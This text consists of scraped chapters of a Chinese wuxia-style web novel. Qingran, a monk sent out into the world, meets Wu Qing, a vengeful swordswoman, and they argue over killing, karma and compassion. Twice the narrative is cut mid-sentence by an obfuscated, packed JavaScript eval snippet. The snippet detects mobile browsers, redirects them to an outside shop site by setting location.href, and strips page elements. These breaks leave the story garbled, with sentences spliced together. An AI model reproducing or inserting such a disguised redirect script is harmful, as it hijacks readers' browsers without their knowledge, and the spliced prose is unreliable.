将禅堂打扫得差不多时,一些师兄师弟陆陆续续走进禅堂,坐地开始参禅。 清然打扫完后将扫帚放回原位,也坐在蒲团上闭目参禅。 禅堂内一时静谧无声,袅袅香烟缓缓升腾,香气弥漫,清然的心中顿时沉静下来。 不知过了多久,门外忽然传来嘈杂的人声,清然隐约听得是两个僧人因什么缘故争辩了起来。 一个声音洪亮粗犷的男声道:“我与你说了多少回,你为何还要偷拿我的东西?” 另一个男声则较为微弱:“我没拿!你休得诬赖我!” 说话间,前者似乎打了后者几拳,并嚷嚷道:“我今日定要给你个教训!” 被打的人发出连连的呻吟声却并不妥协:“我没拿!你凭什么打我?” “还不承认!?” 随即又传来一阵拳打脚踢的声音。 清然睁开眼睛,偏身朝门外望去,只见一个身材瘦小的沙弥被另一个高大的和尚打得满脸是血。 他环顾四周,周围的师兄弟却像什么也没听见似的,仍心无旁骛地闭目参禅,面上毫无反应。 听着门外的呻吟,清然忍不住起身走出禅堂,快步跑到两人跟前试图劝架。 “你们莫要在禅堂前斗殴,要是方丈见了成何体统?”清然伸手要去拉架,可那二人似将他当作空气,无动于衷。 “别打了!”清然见状怒声喝道,接着一把擒住和尚的臂膀,不让他继续殴打那名小沙弥。 那和尚打红了眼,见自己的手臂被擒住,也不管来劝的人是谁,挥拳朝清然的脸上就是两下。 “何人在外面喧哗?” 身后传来喊声,清然吃痛捂脸朝身后望去,只见方丈朝他们走来。 见来人是方丈,打人的和尚连忙停住手,朝方丈行礼:“弟子参见方丈。” 被打的小沙弥也挣扎起身,朝方丈恭恭敬敬地行礼。 “你们为何在此斗殴?” “他拿我的东西!” “弟子没拿!” 方丈摇了摇头:“不管如何,在禅堂前斗殴就是不合规矩,你们三个一同去佛祖面前跪香!” “方丈……”清然欲言又止。 “你有何话要说?”方丈问道。 “弟子是来劝架的,未曾参与斗殴。” “你劝架前在做什么?” “弟子……弟子在打坐参禅。”清然低声道。 “你既在打坐参禅,为何又在此处?他们的事情与你有何干系?” “可若弟子不拦住他们,会出人命的。” 方丈顿了顿,朝清然道:“我问你,你打坐参禅是为了什么?” “为了……为了净化内心,潜心修行,感悟佛法之深邃。” “若不诚心,坐禅徒增业苦。外界的喧嚣纷扰若无法抵御,谈何坐禅?你身在此处只能说明你的心中还有杂念尚未摒除。”方丈将目光投向一旁的和尚和沙弥,“还不去跪香?愣在这里做甚?” “是。”三人异口同声道,清然也未再言语,跟随他二人一同去跪香。 大雄宝殿佛祖像下,三人端正身子跪地反思。待香即将燃尽之时,方丈轻声走了进来。 “你们二人出去罢。” 清然见方丈指了指身边二人,却独独未指自己。 “清然,你来本寺做了多久的沙弥?” “弟子七岁入寺,至今已有十年,还有三年受具足戒。” 方丈捋了捋胡须,默默叹了口气,他的气息之中饱含沧桑:“恍惚间,竟已蹉跎十年,我还记得你来时的模样。” 方丈看了一眼香炉,继续道:“这十年,每日跪在三柱香前,你可知三柱香有何用意?” 清然思索片刻,立即道:“回方丈,三柱香意义深远,分别代表佛、法、僧三宝。” “还有呢?” “还有戒、定、慧三无漏学,乃是为了破除贪、嗔、痴三毒。” “那你说说如何破除贪嗔痴这三毒?” 清然瞥了眼方丈,却正好看他双目炯炯有神地端详着自己。 “要想破除贪嗔痴三毒,需遵守戒律减少贪欲,平定内心避免嗔恚,增长智慧消除痴心。” “那你可知你今日有哪一条未做到?” 清然沉思片刻道:“弟子不解,虽说参禅时不该受外界喧嚣干扰,可他人疾苦就在眼前,怎能不闻不问,置若罔闻?” “世间诸多疾苦,你管得过来么?” “若不在眼前便罢,可今日就在弟子眼前,弟子不能不管。” 方丈凝视着他倔强的面孔,叹了口气:“你入寺十年,从未出寺,如今是时候出去历练一番了。” 清然蓦然抬头,将方丈脸上的神色尽收眼底。 “你收拾行囊,明日就下山去罢。”说完方丈兀自离去。 此时佛前的香已燃尽,落下最后一抹香灰。清然跪在蒲团上看着方丈离去的背影,眼中黯然失色。 第二日清然背上行囊,先去大雄宝殿里参拜,又去方丈的屋前跪地拜了拜,最后转身朝寺门走去。 刚跨过寺院的最后一道门槛,清然便听得身后有人在唤自己,转身看时才发现是昨日的小沙弥。 “清然,对不起……都是我害了你。”小沙弥眼中噙满泪水。 “与你无关,你不要自责。”清然顿了顿,低声道:“方丈昨日可惩罚了他?” “罚了,还让他日后不要丢三落四的,乱污蔑人。” “那就好,你以后照顾好自己,我要走了。” “清然师兄你要保重。”说完最后一句话,小沙弥泪流满面,目送着清然跨过长长的石阶,朝山下走去。 刚踏完石阶走了没几步,迎面走来一位身着锦绣袍衣,腰系玉佩的富贵公子,举手投足间尽显温文尔雅的气质。 “清然?”那公子一眼认出从山上走来的清然,“你怎得背着包袱?要出门么?” 清然合掌行礼道:“施主,清然遵方丈之命,下山历练。” “怎得如此突然?” “施主是来进香么?” “家中近日遭了些变故,想着来寺里烧香拜佛。清然师父既是下山历练,不如与小生一同去山下的客栈坐坐如何?有一个问题困扰在下许久,还请师父不吝赐教。” “这……恐怕不太合适。”清然面露难色。 “方丈让师父下山历练,山下的一切便皆有其意义,哪里有合适不合适之说?”说罢,那公子拉着清然的手臂朝山下走,“既是请师父解惑,那今日便由小生做东,还请师父莫要拘礼。” “既然如此,清然便听从施主。” “出了山,师父唤我陈公子便好,这样亲近些。” “多谢陈公子。” 说罢,二人一齐朝山下的客栈行去。 一进客栈,店里的小二肩搭抹布,满脸堆笑地走来:“二位客官,打尖儿还是住店?” “去你们二楼挑个好位置,上些可口的饭菜。”陈公子爽快道。 “好嘞,二位请。”小二忙领路引二人上楼,一边走着一边朝清然道:“这位师父是宝竹寺来的罢?我们店正好有几道精致的寺院菜,专供宝竹寺来的师父。” “那便都端上来让这位师父尝尝。” “不可不可,贫僧吃不得许多。”清然忙道。 “无妨,小生与师父一同吃素。” “那……有劳陈公子了。” “二位客官稍等片刻。”小二挑了个窗边的位置让二人坐下,随即朝后厨走去。 “陈公子方才说心中有困惑?”清然道。 “小生在家中修习佛法时,在佛经上看到这样一句话:贪心犯戒,其罪尚轻,嗔心犯戒,其罪甚重。不知此话何意,请师父指教。” 清然颔首道:“这句话后面还有两句:因贪犯戒,尚摄众生,因嗔犯戒,弃舍众生。虽说贪心乃是三毒之一,却仍留恋众生,可若起了嗔心,便会厌恶、疏离众生。《华严经》中曾提及嗔心乃修行大忌,嗔心一起,功德尽毁。” “原来如此。”陈公子若有所思地点了点头。 这时,小二将素菜端上桌。清然坐在二楼瞥见门口进来一位身着红衣的女子,年纪与自己相仿。旭日之下,红衣飘飘,甚是扎眼。 一楼一张靠墙的桌子围坐了八、九位身上带刀的男子,言谈举止略显粗俗。红衣女子进来时,清然分明看见,那几位男子脸上露出奇怪的神色,时不时朝红衣女子所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴青转了一圈,突然猛踩桌子腾空而起,又从柱子上借力一蹬,在空中飞跃,直直地朝王天踹了一脚。 王天连连后退,倒在桌子上,握刀的手撞到桌角,刀立即飞向别处。他欲起身时,吴青立即跳上桌,一脚踩在王天身上,左手死死按住他的右臂,右手迅速从靴里拔出一把锋利的匕首,抵住王天的咽喉。 “别过来!”吴青朝王天的同伙吼道,“把你们身上的银两都拿出来!” 见王天被抵住喉咙,他的同伙只得乖乖将身上的细软装在一处,交给吴青。 吴青接过银两掂了掂,随即扔给蜷缩在柜台后的小二:“这是他们赔你的。” 说罢,吴青朝王天道:“方仙儿在哪里?为何只有他没被官府捉拿?” “我为何要告诉你?”王天不以为然。 “说不说?”吴青将匕首抵近了些。 王天的同伙一时心急,忙高声道:“方仙儿与衙门里的人有私交,连牢房都没进得,早就拜了别的山头了!” “哪座山?” “他曾说要去峏山,找那里的老大拜把子。” “我去过,那山里空无一人,休得骗我!” “许是他们去了别处。” 这时王天的脸上露出诡异的冷笑:“你找不到他的,你也杀不了他!方仙儿之所以叫方仙儿,是因为他福大命大,死里逃生无数次,谁也拿他没有办法。” “是么?我偏偏不信这个邪,他能活到现在,是因为没死在我的手里!”吴青恶狠狠道。 “你?你以为你是什么东西?你不过是个被玷污的贱种,方仙儿穿过的破鞋,一文不值!”说完王天对她脸上吐了口唾沫,自顾自哈哈大笑起来。 吴青的脸逐渐阴沉,她默默抬起左脚踩住王天的右臂,换下左手去擦脸上的唾沫。这时她趁其不备,拿刀的右手用力一划,王天的喉咙瞬间被划破,顿时血流如注。他挣扎着要捂住脖子,说不出一句话来。 似乎还不够解气,吴青将刀柄调转,刀尖朝下,全力往王天的胸口扎去,扎了一刀又一刀,血溅满身…… 王天早已断气,一动不动,眼睛无神,只盯着横梁。 不知扎了多少刀,吴青渐渐回过神,从王天身上跳下来。她擦了擦脸上的血,环顾四周呆住的王天的同伙,说道:“还有谁,觉得我是贱种?” 周围的人呆愣在原地,无人应答。吴青用匕首挑开他们围住的肩膀,开出一条道来,大摇大摆地往外走。 跨过门槛前,吴青想起了什么,抬头朝二楼望去。 她记得那双眼睛一直注视着自己。 那是一双未经世事污浊的眼眸,似阳光下一汪清澈的池水,一眼便能看到水底的鱼儿。 他的眼神与她平日里见到的不同,没有戏谑,没有欺凌,也没有高高在上,只有悲悯。 18. 第 18 章 吴青对他眼底的悲悯视而不见,头也不回地朝门外走去。 走了没多远,身后传来男子的喊声。 “施主!施主请留步!” 吴青转身望去,那双眼睛跟了上来。 “我可不是你的施主,你那穿金戴玉的施主在客栈里。”说罢,吴青兀自朝前走着。 “……姑娘,你方才为何要杀死那位男子?” 吴青猛然回头,凶狠的眼神紧紧盯着那张白得似抹了香粉的脸,一对弯弓似的眉睫与这张脸很不相称。 “看你这面上长得倒匀称,怎生了一双盲眼?是他们要杀我,你看不到么?” “可……那位男子已无抵抗之力,你为何还要杀他?” “我不杀他,他们终究要杀了我!”吴青怒气冲冲地瞥了眼清然,“你哪儿来的臭和尚?我的事与你何干?” “哦……贫僧是宝竹寺的沙弥。” 吴青看他一本正经作答的模样,顿时皱起了眉头:“你若无事,就别跟着我!” “姑娘!”清然仍快步跟上,“姑娘,杀生乃是重戒,贫僧劝姑娘早日回头是岸,莫在淤泥中越陷越深呐!” 吴青听了这话笑出了声:“你劝我回头是岸?那几个地痞流氓欺压百姓、坏事做尽的时候你怎得不劝他们回头是岸?” “这……贫僧倒不知……可众生平等,各有因果,他们自己种下的恶因,将来必有其恶报,姑娘为何要干涉他人的因果呢?” “我问你,你说的将来是什么时候?何年何月?” “冥冥之中自有因果,今世不报自有来世。” “来世是来世,今世是今世,来世发生的事,今世的人又怎会知晓?” “他们做的恶行自有官府捉拿。” “官府?当今皇上昏庸无道,宠信佞臣,放任外贼渗入,流寇四起。衙门里的人手早就不够用了,你让谁来捉拿?”吴青厌恶地看了他一眼,“你不会是今日才出寺罢?” “贫僧……贫僧的确是今日才出寺。”清然默默低下头。 “你叫什么名字?” “贫僧法号清然。” “清然……我看你还是回寺去罢。” “可贫僧今日才下山,哪有今日回寺的道理?” “我不管,你再跟着我,等客栈里的人回过神追过来,将你掳了去,我可救不了你。”说罢吴青快步朝前走,却听得身后仍传来脚步声。 “我说过你别跟着我,你一个和尚跟着一个姑娘算什么事儿?” “度化不分男女。”清然一脸执拗道。 “哼,我不信你能一直跟着我。”说完,吴青朝着一个方向跑去。她的脚步极快,拐过一个又一个路口,最后消失在一片树林之中。 “姑娘!”清然气喘吁吁地跟在后面,到了树林跟前却没了她的身影。 “姑娘,你在哪儿?听贫僧一句劝罢,苦海无涯,回头是岸呐!” 树林里一片寂静,只听得几声鸟叫。清然进入树林,漫无目的地走着。 走了不知多久,忽听得树林深处传来几声惨叫。清然忙循声跑去,藏在一棵树后。只见不远处有三个男子,一个男子一副书生装扮,十分瘦弱,另两位男子似是土匪。一个钳制住书生的臂膀,另一个长得十分高大,朝地上砸着什么。 清然定睛望去,那地上竟还躺着个人,像是书生的书童,被那位高大的土匪砸得血肉模糊。书生见同伴被杀,一时痛哭起来,挣扎了一通却也挣脱不开。 高个土匪砸完后朝书生道:“叫你写封书信回去你不写,我们不过是想要些银子花花,你写了他就不用死了!”说罢他朝书生脸上扇了一巴掌,“写不写?不写我们兄弟俩就拿你的人头去换钱!” 书生哭成了泪人,紧盯着地上的同伴一言不发,高个土匪顿时没了耐性。 “将他扶住,看我不砍了他的人头!”说罢,他转身去拿地上的斧头。 “住手!”树林里传来一声吼叫。 两个土匪闻声望去,只见一个白面和尚走了过来。 “你们抢钱便罢,为何还要伤人性命?” “与你无关,滚开!” “不许伤人!”清然捡了根粗树枝,横在书生和高个土匪之间。“这位施主,你快依了他们写封书信,叫人带些银子,你也好脱身呐!” 书生看向清然,眼中空洞无神:“此次赶考已花光家中积蓄,哪里还有银两?” “没有银两,就叫你爹娘变卖家产来赎你的人头!”高个土匪恶狠狠道。 “你个和尚还不让开?再不让我连你也杀!”说罢高个土匪挥斧朝清然劈来。 可还未等劈下来,那高个土匪脸上突然长出了刀尖,鲜血从他的脸上汩汩流淌。 清然这才发现,一把匕首从后面扎进了高个土匪的脑门,刀尖刺穿面皮。他朝高个土匪身后望去,一抹红色映入眼帘。 “吴青!?” 吴青未理睬清然的惊呼,三步并作两步,飞一般朝另一位土匪跑去。 “别过来!”那土匪惊异于吴青鬼影似的步伐,忙持刀抵住书生的喉咙。 “过来我就杀了他!” “你杀他我就杀你!”吴青的话语中杀气逼人,“不过你要是放了他,我就放了你。” “这位兄弟,有话好好说!”清然瞥了眼吴青,继续道:“你放了那位读书人,这位姑娘就会放了你。” 那土匪脸上踌躇不定,他望了眼身后,犹豫再三后终下定决心,将身前的书生往前一推,转身欲逃。 清然上前接住书生,却瞥见吴青迅速拔出那高个土匪头上的匕首。 “别杀他!”清然大喊。 吴青似没听见,仍振臂将匕首朝那逃跑的土匪掷去。只见刀尖从空中飞过,刺中了那土匪的头颅,那土匪立即应声倒地。 “吴青!你为何还要杀他?”清然快步跑到那土匪跟前,伸手搭脉,却已无任何脉搏。 “这种人留了也是祸害,不如杀了干净。”说罢,吴青走上前拔出土匪头上的匕首,清然注意到她的手上不知何时戴了副皮质手套。 “他已经放了那位读书人,你为何还要赶尽杀绝?” “今日若不是我,你们早就被埋在这树下永不见天日。我要是放了他,他明日还会找个书生,还会杀一个书童。到那时,可就没有你我相助了!” 清然听了这话未做回应,反而盘坐在地上,手持念珠,双目紧闭,嘴里念起了经。 “你在做什么?你在为这恶人超度么?”吴青顿时勃然大怒道。 “贫僧在为眼前的三位逝者超度。” 话音刚落,吴青立即走上前将清然手中的念珠抢走,扔出几丈远。 “你可以为那书童超度,但你不能为这两个土匪超度!” “于贫僧而言,众生平等。”说完,清然站起身去拿被扔在地上的念珠。 “他们杀了那个书童,还有什么平等的道理?我就该让你被那土匪活活劈死,看你还说什么众生平等!” “多谢姑娘相救,贫僧要诵经了。” “不知死活!”吴青看着他倔强的面容骂了一句,却也毫无办法,只得忿忿离开,朝树林外走去。 刚走出树林,只见远处有一群男子提刀走来。看到吴青后,带头的男子立即高呼:“她在那儿!就是她杀了王天!” 吴青这才意识到,是王天的同伙追过来了。她看了眼树林,欲朝树林的反方向逃跑。可因为舍近求远,没跑多远便被王天的同伙团团围住。 “吴青!你好狠的心肠,竟敢杀了王天,这回看你往哪儿逃!” “本想饶你们一命,没想到你们赶着送死!”吴青一脸从容道。 “我们这么多兄弟,你以为你今日还能活命?要么你自戕而死,要么我们兄弟将你乱刀砍死!” “该死的是你们!”说罢吴青朝离得最近的一人飞踹一脚,夺走他手里的刀,与其他人缠斗了起来。 虽说每次朝自己挥来的刀刃,吴青都能巧妙躲闪,可人多势众,一直这样僵持着不是办法。 眼见天色渐晚,天空黑云滚滚,雷光闪动,吴青边还手边打算冲出包围。 王天的同伙看出吴青的意图,立即补好包围圈,统一挥刀朝吴青劈砍。 这时,吴青的周围竟突然闪过一道金光,比寻常的盾牌还要坚硬。众人挥刀劈向吴青时,瞬间被这道环绕吴青的金光反弹回来,摔倒在地。 吴青见状欲逃,却被地上的一个人紧紧缠住脚踝。 “快杀了这个妖女!” 话音刚落,一把刀朝吴青砍来。吴青伸出未持刀的手臂,做施法状。那人见此情形愣了片刻,却见无事发生。 “你这个妖女!” 那人怒不可遏地继续挥刀劈来,吴青提刀抵挡回去,并一刀划破那人的腹部,接着一刀斩断缠绕自己脚踝的手臂。 这时另一人趁吴青分心,朝吴青劈了过来。吴青偏身欲躲,却没躲过,那把刀的刀尖划破她的手臂,顿时鲜血淋漓。 吴青忍痛从包围圈的缺口往外跑。这时天空一道惊雷,磅礴大雨似断了线的珠子开始倾泄而下。雨水渐渐模糊了吴青的视线,脚底的泥土越发湿滑。 吴青在雨中摸不清方向,只能胡乱跑着。突然,她脚底一滑,整个人失去重心滚进了废弃的水沟,水沟里长满野草,将她遮挡得严严实实。王天的同伙追上来,没有发现水沟里的吴青,便朝另一个方向寻去。 见那群人离去,吴青这才从水沟里爬起来,摇摇晃晃地朝树林里走去。走了不知多久,她看见林中有一座庙宇,便朝庙宇行去。 庙里有一尊观音菩萨的神像,吴青坐在观音菩萨神像的脚下,筋疲力竭地喘着粗气。 她摘掉浸满雨水的手套,只见自己的双手不见皮肉,只剩团团黑雾在骨头间萦绕。 这时,外间传来匆忙的脚步声。吴青立即戴上手套,拔出靴里的匕首,藏在黑暗之中。 门外的脚步声并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14611565|156119||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不密集,似乎只有一个人。 那人来到门口,抖落身上的雨水,并未注意到庙里的吴青。 “谁?”吴青朝来人喝道。 话音刚落,一道闪电劈开天空,电光火石之间有如白昼。那人听得吴青的声音转过身来,吴青这才认出来人是清然,清然也注意到了拿着匕首的吴青。 “吴青姑娘,我是清然,贫僧只是借此观音庙躲雨。”清然连忙解释道。 吴青没有应答,从身边摸索出一块破布,将手臂盖了起来。 “若姑娘不想和贫僧共处一室,贫僧……去别处躲雨就是。” 话音刚落,又一道闪电划破夜空。吴青收起匕首,靠在观音像下,借电光看见清然仍站在门口一动不动。 “吴青姑娘你不说话,那贫僧便告辞了。” “不用。”黑暗中传来吴青的声音,“这间庙又不是我盖的,你想留便留。” “多谢吴青姑娘。”说完清然从身上拿出火折子吹了一口气,借火折子的微光找到观音庙里的蜡烛将其点燃。 立时,观音庙里被蜡烛照得暖黄,清然也看清了坐在一旁的吴青。只见她浑身湿透,脸色惨白,身子止不住地发抖。 两人坐在地上一言不发,只听得外间风雨交加,东边的窗户不时被寒风吹得吱呀作响。 清然忽地站起身,将一旁的吴青吓了一跳。 “你做什么?” “贫僧去关窗户。”说完清然兀自走到窗户边,将窗户关了起来。 折返时清然注意到地上有一堆干草,便躬身抱了一些干草朝吴青走来。 “干什么?”吴青看他抱着干草站在自己面前,顿时一头雾水。 “贫僧看你发抖,许是因为淋了雨,盖些干草暖和暖和罢。” “你看错了,我没有发抖,你安静坐在那里就好。” “好罢。”清然将干草放在她脚边,回到原来的地方闭目打坐。 庙里陷入一片寂静,微弱的烛光轻轻摇曳,人影也随着烛光微微晃动。 吴青不禁将目光投向闭目参禅的清然,只见他正襟危坐,双手合十,一张平和安宁的脸在烛火的照耀下,散发着温暖的光芒。 忽然,他的眼皮轻轻颤动,吴青连忙转移目光。 “吴青姑娘,今日在客栈你怎么会惹上那群人?” “是他们惹的我,他们跟随方仙儿偷鸡摸狗、欺压百姓,平日里专横惯了,竟去劫持一位员外的千金,我不过是告诉了那位千金的爹娘他们老巢的位置罢了。” “虽说你出于正义之心,可你毕竟是一介女子,为何要与他们纠缠,致使自己身入险境?” “我的事不用你管!我就是要与他们作对,这些人就像阴沟里的老鼠臭虫,令人生厌!” 清然叹了口气道:“你是不是要去峏山杀了方仙儿?” “是又怎样?” “吴青姑娘杀孽心重,若还不回头是岸,小心堕入万劫不复的深渊。” “我杀孽心重?我杀的可都是恶人!别忘了,若没有我,你早就死了!” “恶人自有恶报,吴青姑娘何必放着安稳的日子不过,要以身犯险,背负罪孽呢?” “你说恶人自有恶报,那方仙儿为何还活得好好的?他死里逃生多次,他的恶报在哪里?既然善有善报,恶有恶报,那我吴青便来做他的恶报!” 吴青鄙夷地瞥了清然一眼,继续道:“你们佛家人说什么忍恶无嗔、恶人定会自食其果,可若每个人都忍得了,还有谁来惩罚这些恶人?你若贪生怕死、只求自保,就别劝我忍气吞声!你们忍得,我忍不得!” 说罢吴青踹了一脚旁边的干草堆,执拗地别过脸去。 “你受伤了?”清然看见吴青手臂上的伤口,连忙在自己的包袱里翻找着。 吴青转头望去,才发现遮盖伤口的破布不知何时掉落在地上。 “贫僧略懂些医术,可为你包扎伤口。”说罢清然走上前欲检查吴青的伤口。 “你走开!多管闲事的臭和尚!我不需要你包扎伤口!在你眼里我也是个恶人,恶人自有恶报,你还管我做什么?” “贫僧何时说你是恶人了?这伤口不早些包扎,便会难以愈合。” “这伤口明日就会恢复,不用你管!” “不包扎,它怎得恢复?” “我说会恢复就会恢复!” 清然看她倔强的模样,只得作罢,复坐回自己的位置。 “贫僧只是希望吴青姑娘能早日脱离苦海,心中不再有仇恨。冤冤相报何时了,若总是将仇恨背负心中,迟早会遭其反噬。” 吴青背对清然,沉默不语,不愿理会他的言辞。 “过去的事情虽无法改变,但未来的选择还在自己手中。吴青姑娘未来的日子还很漫长,何必在仇恨中虚度光阴,错失诸多的美好……” 外间雨声淅沥,庙里烛火昏黄,吴青听着清然的自言自语,眼皮逐渐沉重,不知不觉便缓缓睡去。 19. 第 19 章 下了一夜雨后,金红的太阳如同火球从东边升起,天际布满绚烂的红霞。绿草树木经过一夜雨水的浸润,显得愈发青翠,叶子上都挂满了晶莹剔透的雨珠,在朝阳的映照下,散发着耀眼的金光。 吴青昏昏沉沉地睡了一夜,从连续不断的梦魇中惊醒,待平心静气后,她发现自己的手臂上不知何时缠上了布条,身上也莫名多了些干草。 她在脑海中搜寻着昨夜的记忆,除了梦里血淋淋的尸体和诸多痛苦的嚎叫以外,她依稀记得夜里似乎有人拉着她的手臂,并在上面洒了些不知名的粉末。那些粉末效果奇特,敷上后吴青顿觉冰凉舒爽,手臂上的疼痛减了大半。 她拆开布条,手臂上的伤口因法力的恢复早已自愈。她又摘下手套,只见昨夜的黑雾也已消散,皮肉恢复如初。 “蠢和尚。”吴青小声念叨着,目光投向一旁仍盘坐着的清然。 她小心翼翼地走近打量他,只见他低垂眉眼,面容平和,呼吸轻柔而均匀,似乎还在熟睡。 吴青拍拍身上的灰尘,带好行囊,轻声走出观音庙。 看着满眼清翠的草木,呼吸着雨后清新的空气,吴青顿觉身上的气力恢复了不少。 “总算没了和尚的唠叨。” 说完她背上行囊朝着日出的方向行去。 远处似传来鸡鸣,清然从睡梦中醒来,看见一缕阳光穿过庙门投射在地上,散发着久违的温热。他抬眼朝吴青的方向望去,却没了她的踪影,地上留有带血的布条。 “吴青姑娘?”清然走出庙宇朝外喊了几句,外间除了燕语莺声,无人应答。 他默默走回观音庙,扶着庙门黯然地叹了口气:“还是去了吗?” 眼见太阳升起,时候不早,清然收拾行李离开了观音庙。他漫无目的地走了一阵,忽看见迎面走来一位农夫。 “这位施主,请问可曾见过一位身着红衣的年轻女子?” 那农夫摇了摇头:“未曾见过。” “那……请问峏山怎么走?” “你一个和尚要去峏山?那峏山里可是聚集了一群土匪,乃是险恶之地,我劝你还是不要去的好。” “贫僧要去那里寻人,还请施主告知。” “你沿着这条路往东去,出了山林再问别人罢。” “多谢施主。” 话罢清然朝东行去,在走入一片偏僻的树林时,他隐约听得身后传来脚步声,且越来越急促。 他忍不住转身查看,却还没辨清来人便被粗暴地套进麻袋里。 “谁?你们要干什么?”话音刚落,清然便发觉脚底悬空,整个人被抬了起来,随即麻袋口也迅速被扎上。 来人一声不吭,清然从麻袋微小的孔洞里隐约看出是两个男子一前一后将自己扛着,不知要带自己去往何处…… 太阳逐渐升高,天空万里无云,走了几个时辰的吴青终于到了峏山脚下。 她抬眼看向这座不大的山,在充足的光线之下,一眼便可看到山顶。山中长满了高矮不一的树木和杂草,所经之路步履维艰。 吴青站在林间环顾四周,这里和上次来时没什么两样,荒无人烟,只是树木又茂密了些。 林子里静得出奇,连鸟叫声都不曾听得。吴青只是不小心踩断枯枝,那断裂的声音便好似响彻云霄。 她深一脚浅一脚地走着,为避免踩到枯枝,她尽量走在草上。可就当她行走在两棵高大的松树之间时,脚下的杂草变得异常松软,吴青心中高呼“不好”。 还未等她走出几步,一张大网从草里瞬间升起将她包住,并快速升到空中。 “抓到了!”周围突然冒出几个男子聚在树下,“呦,还是个美人!” “美人,你怎得独自走在山中?不怕遇到歹人么?”说罢底下的几个男子哈哈大笑起来。 “你们就是峏山的土匪?”吴青悬在空中,努力朝树下望去。 “美人既知道峏山有土匪,怎敢独自前来?胆子不小!” “实不相瞒,我独自前来,就是听闻峏山的老大武功高强、威震四方,故来做他的压寨夫人的。” 树下的几人听得这话,不禁哄然大笑。 “没听说过有人上门来做压寨夫人的,你是头一个。” “我本就不是什么良家妇女,独自闯荡江湖,自是有本领在身。你们将我抬去送给你们的老大,说不定你们老大看上我,往后我还能为你们求个一官半职。” 底下的几人立即止住了笑声,低声商议着什么,商议完后一人抬头道:“此话当真?” “那还有假?” “好,正好我们新老大上任,就将你抬去给他做贺礼!” “新老大?你们原先的老大呢?” 底下的人迟疑了片刻才答道:“原先的老大前些日子带我们去劫了个走镖的,被那镖头重伤丢了性命,于是便有了现在的老大,人称海底龙。” “原来如此,不过既是峏山的老大,那便无甚区别。你们还不快将我抬去,我好认认这位新上任的老大。” 底下的人听罢喜形于色,连忙将吴青放下来,带她前往山寨。 吴青跟着几人左拐右拐,走了好长一段路,才在一个山洞前停下。 只见一人在洞前一块巨大的石头上有规律地敲了几下,那山洞的石门便缓缓打开。洞里走出一人,将吴青上下打量了一番。 “这女人哪儿来的?” “刚刚捉到的,她说愿意给老大做压寨夫人,我瞧她有几分姿色就带过来了。” “竟有人上门来做压寨夫人?”那人一脸惊奇地盯着吴青。 “怎么?许你们做土匪,不许我做压寨夫人么?”吴青摆出一副趾高气扬的模样说道。 “有意思,带她去给老大瞧瞧。” 说罢,吴青跟着他们欲往山洞里去。 “等等。”那人忽叫住他们,“将她的手脚绑好抬进去。” 一旁的土匪闻言立即拿来了绳子,将吴青绑得严严实实,抬进山洞。 一进山洞,一阵阴暗潮湿的气息便扑面而来。吴青打量四周,岩壁上点着烛火照明,里面摆着各式家具,或由石头制成,或由木头雕刻而成。 几个土匪抬着吴青穿过一个又一个洞窟,来到一间十分宽阔的场地,吴青目测能容纳上百人。 “寨主!兄弟几个来给您送夫人了!” 一个躺在高高的石椅上,长满络腮胡子、身穿虎皮背心的壮硕男子听闻,立即坐起身来,朝吴青的方向望去。 “你便是峏山土匪山寨的老大么?”还未等那土匪老大发话,吴青就抢先道。 “你个丫头片子胆子不小!进了土匪窝还敢这么说话?”那寨主走上前,朝吴青道。 “实话和你说,我是自愿来做你的压寨夫人的。” “你怎么能断定我会答应让你做我的压寨夫人?” “除了我,谁还敢上这土匪山?” 寨主笑了笑:“你这性子倒挺直爽,做我的压寨夫人不是不可以,但你需得知道,压寨夫人永生不可离开这山寨。你若想逃出去,我便可叫你求生不能求死不得!” “寻到了靠山我为何要逃?” “好!那我便答应由你做我的压寨夫人。”那寨主色眼眯眯地凑近吴青,将她仔细地打量着。 “不过我还有两个条件。” “什么条件?” “第一个条件是今晚就要摆上酒席,让山寨里的弟兄们齐聚一堂,好好认认我这个压寨夫人。” “这有何难?你且说第二个。” “实不相瞒,我受方仙儿所荐而来,这桩婚事需由他来做证婚人,这便是第二个条件。” “方仙儿?”土匪寨主面露难色。 “我听说他与这里原先的寨主拜了把子,怎么进了山寨不见他人?” “自原先的寨主死后他就离了山寨,更何况他与我不和,你这第二个条件我没法应允。” “他去了哪里?”吴青忙问道。 “你与他相熟都不知他的去处,更何况我们?” 听了这话吴青紧紧握住拳头,眼神颇有不甘,面上也没了先前的神气。 “既然如此,那只要答应前一个条件便好。” 土匪老大闻言顿时心花怒放,一面解开绑住吴青的绳子,一面吩咐一旁的手下准备酒肉。一切嘱咐完毕后,土匪老大终按捺不住,欲将吴青揽入怀中,吴青迅速伸手将他凑过来的头颅按住。 “寨主不应去梳洗换装,好与我拜天地么?”吴青道。 “瞧我这记性,娘子也去房中梳妆打扮一番,等相公来见你。”说完土匪老大抬起吴青的手,放在络腮胡前深深地嗅了口气。 吴青将手抽出,假装娇嗔道:“那奴家便在房中等着相公。” 说完吴青转身与土匪老大的手下朝卧房行去。 过了几个时辰,洞内摆满了桌椅,墙壁上也挂上了红绸。土匪老大换了一身婚服,胸前缀着一朵鲜艳的红团花,连胡子也修剪整齐,整个人满面春风,似换了个人。 他端起酒杯,站在高台上,朝齐聚山寨的手下道:“各位兄弟,从今日起,我海底龙就是你们的新寨主。我以我这条命发誓,往后定不负老寨主临终嘱托,将山寨发扬光大。兄弟们放心,只要跟着我混,定叫你们吃香的、喝辣的!有我一口肉吃,就少不了你们的!” 